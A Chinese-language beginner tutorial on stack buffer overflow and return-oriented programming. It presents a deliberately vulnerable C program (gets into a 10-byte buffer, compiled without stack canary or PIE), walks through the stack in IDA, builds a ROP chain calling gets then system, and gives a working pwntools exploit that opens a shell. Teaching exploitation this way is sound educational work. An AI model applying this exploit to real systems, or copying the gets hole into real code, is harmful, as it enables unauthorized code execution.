栈溢出 - ROP (一)

First Post:

Last Update:

介绍

栈溢出是一种允许攻击者向栈中写入过长数据的漏洞。

ROP 是栈溢出的一种利于方式,攻击者对栈空间进行构造进而调用程序已有的指令片段进行攻击。

下面通过一个例题来进行讲解。

因为是入门第一篇文章,所以会讲的比较细。遇到不明白的继续往后看就清楚了。

环境搭建

1.Linux x64

2.IDA (Linux x64)

在官网下载后运行安装

1
2
./idafree84_linux.run
apt-get install libxcb-xinerama0

调试分析

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>

char buf[100];

__attribute__((visibility("default"))) void MySystem() {
system("");
}

void MyGets() {
char str[10];
gets(str);
}

int main() {
MyGets();
}

生成可执行文件:

1
2
gcc pwn.c -o pwn -fno-stack-protector -no-pie -w
chmod +x pwn

下载链接:https://github.com/HackerCalico/Blog-Resource/raw/main/%E6%A0%88%E6%BA%A2%E5%87%BA%20-%20ROP%20(%E4%B8%80)

检查保护机制

1
2
3
4
5
6
7
> checksec pwn
[*] '/root/Desktop/PWN/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

未开启 Canary 栈保护,说明不会对向栈写入的数据长度进行检查。

未开启 PIE 保护,说明加载到内存中的基址是固定的 (0x400000),可以对变量、函数等地址进行预知。

使用 IDA 进行静态调试

通过终端启动 IDA,不要双击快捷方式,否则无法与程序进行控制台交互。

1
2
cd 安装路径
./ida64

shift + F7 进入 Segments 窗口。

9.png

进入可写的 .bss 段 (存放未初始化的全局变量),可以看到全局变量 buf 在内存中的绝对地址为 0x601060 (后面会用到)。

9.png

到这里你可能会有疑问,如果启动多个未开启 PIE 保护的程序它们的绝对地址不会冲突吗?

答案是系统会让它们运行在独立的虚拟空间。

使用 IDA 进行动态调试

在主函数 F12 设置一个软件断点,F9 运行。

9.png

在下方 .text 段内的 0x4005E2 处可以发现 pop r15 & retn (硬编码 41 5F C3)。

9.png

我们可以断章取义将 0x4005E3 处的 5F C3 作为以下汇编指令使用 (后面会用到)。

1
2
pop rdi
retn

F8 单步到 call MyGets,下面开始分析该函数的漏洞。

进入 MyGets 前,可以发现 call MyGets 下一条指令的地址为 0x400579。

9.png

F7 步入 MyGets,再 F8 单步到 call gets

9.png

call 指令使 0x400579 入栈,用于函数结束 retn 返回到 0x400579。

保护现场使原本的栈底入栈,用于函数结束前恢复现场,栈上升到当前函数自己的栈区域。

栈顶再次上移,给出了用于存储 v1 的空间,局部变量直接存储在栈上。

将 v1 的首地址 (RBP - 0x0A) 存储在 RDI,作为函数参数告诉 gets 把数据存储在这里。

地址
0x00007FFFFFFFDDC0 Nothing
0x00007FFFFFFFDDC8 Nothing
0x00007FFFFFFFDDD0 0x00007FFFFFFFDDE0 0x00007FFFFFFFDDE0
0x00007FFFFFFFDDD8 0x400579 0x400579 0x400579
0x00007FFFFFFFDDE0 Nothing Nothing Nothing Nothing
指令 call 前 call MyGets 保护现场 定义 v1 & 构造参数
指令 push rbp sub rsp, 10h
指令 mov rbp, rsp lea rax, [rbp - 0x0A]
指令 mov rdi, rax
指令 mov eax, 0x00

F5 查看函数伪代码

在这里可以直接看到 v1 的首地址为 RBP - 0x0A。

gets 用于接收用户从控制台输入的数据存储到 v1。

9.png

F8 单步调用 gets,输入 9 个 1。再 F8 单步到函数结束。

可以看到我们输入的 111111111\0 从 0x00007FFFFFFFDDC6 填满了 v1。

恢复现场使栈区域回到了下面,这都要归功于栈底存储了之前栈底的地址。

retn 使栈顶下移回到了调用 call MyGets 前的原位,执行地址来到了 0x400579。

9.png

地址
0x00007FFFFFFFDDC0 3131000000000000 3131000000000000 3131000000000000
0x00007FFFFFFFDDC8 0031313131313131 0031313131313131 0031313131313131
0x00007FFFFFFFDDD0 0x00007FFFFFFFDDE0 0x00007FFFFFFFDDE0 0x00007FFFFFFFDDE0
0x00007FFFFFFFDDD8 0x400579 0x400579 0x400579
0x00007FFFFFFFDDE0 Nothing Nothing Nothing
指令 call gets 恢复现场 retn
指令 leave

ROP 分析

经过上面的调试分析,我们可以得到以下结论:

(1) 函数最终 retn 返回的地址

就是刚步入函数后,栈顶存储的地址;

也是栈底上移后,栈底下方 (RBP + 8) 存储的地址;

也是执行 retn 前栈顶存储的地址。

(2) v1 的首地址为 RBP - 0x0A。

(3) 只要向 v1 写入长度 0x0A + 8 + 8 的数据,就可以将 retn 返回劫持到自己想执行的地址。

正常 劫持
地址 地址
0x00007FFFFFFFDDC0 3131000000000000 0x00007FFFFFFFDDC0 3131000000000000
0x00007FFFFFFFDDC8 0031313131313131 0x00007FFFFFFFDDC8 3131313131313131
0x00007FFFFFFFDDD0 0x00007FFFFFFFDDE0 0x00007FFFFFFFDDD0 3131313131313131
0x00007FFFFFFFDDD8 0x400579 0x00007FFFFFFFDDD8 自己想执行的地址
0x00007FFFFFFFDDE0 无关紧要的值 0x00007FFFFFFFDDE0 无关紧要的值

如果开启了 Canary 栈保护,v1 下方会插入一个随机值,retn 前会检查随机值是否被覆盖。

构造 ROP 链

很容易想到可以劫持到 system 来命令执行,所以我们要先劫持到 gets 来接收我们想执行的命令。

我们要探究 gets、system 被正常调用时寄存器和栈的状态,进而通过栈溢出构造出来。

gets 和 system 都是只有一个参数的函数。在调用 gets 时,从上面就可以看到接收数据的地址要存储在 RDI。在调用 system 时,要执行的命令的地址要存储在 RDI。

前面提到的全局变量 buf 的地址为 0x601060,可以用于存储要执行的命令。我们要想办法让 0x601060 出现在 RDI 中,再进入 gets。

前面提到的 pop rdi & retn 的地址为 0x4005E3,我们只要将栈构造为以下状态,就可以成功调用 gets 和 system,可以认真思考一下。

地址
0x00007FFFFFFFDDC0 3131000000000000
0x00007FFFFFFFDDC8 3131313131313131
0x00007FFFFFFFDDD0 3131313131313131
0x00007FFFFFFFDDD8 0x4005E3
0x00007FFFFFFFDDE0 0x601060
0x00007FFFFFFFDDE8 gets 地址
0x00007FFFFFFFDDF0 0x4005E3
0x00007FFFFFFFDDF8 0x601060
0x00007FFFFFFFDE00 system 地址

ROP 链栈的变化:

地址
0x00007FFFFFFFDDD0 3131313131313131 3131313131313131 3131313131313131 3131313131313131
0x00007FFFFFFFDDD8 pop rdi & retn 地址 pop rdi & retn 地址 pop rdi & retn 地址 pop rdi & retn 地址
0x00007FFFFFFFDDE0 buf 地址 buf 地址 buf 地址 buf 地址
0x00007FFFFFFFDDE8 gets 地址 gets 地址 gets 地址 gets 地址
0x00007FFFFFFFDDF0 pop rdi & retn 地址 pop rdi & retn 地址 pop rdi & retn 地址 pop rdi & retn 地址
0x00007FFFFFFFDDF8 buf 地址 buf 地址 buf 地址 buf 地址
0x00007FFFFFFFDE00 system 地址 system 地址 system 地址 system 地址
指令 leave retn pop rdi retn 进入 gets
地址
0x00007FFFFFFFDDD0 3131313131313131 3131313131313131 3131313131313131
0x00007FFFFFFFDDD8 pop rdi & retn 地址 pop rdi & retn 地址 pop rdi & retn 地址
0x00007FFFFFFFDDE0 buf 地址 buf 地址 buf 地址
0x00007FFFFFFFDDE8 gets 地址 gets 地址 gets 地址
0x00007FFFFFFFDDF0 pop rdi & retn 地址 pop rdi & retn 地址 pop rdi & retn 地址
0x00007FFFFFFFDDF8 buf 地址 buf 地址 buf 地址
0x00007FFFFFFFDE00 system 地址 system 地址 system 地址
指令 gets 结尾的 retn pop rdi retn 进入 system

编写 EXP

地址能够预知归功于未开启 PIE 保护。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.log_level = 'debug'

elf = ELF('./pwn')
buf = 0x601060
gets = elf.sym['gets']
system = elf.sym['system']
pop_rdi_retn = 0x4005E3
payload = cyclic(0x0A + 8) + p64(pop_rdi_retn) + p64(buf) + p64(gets) + p64(pop_rdi_retn) + p64(buf) + p64(system)

io = process('./pwn')
io.sendline(payload)
io.sendline('whoami')
io.recv()
io.interactive()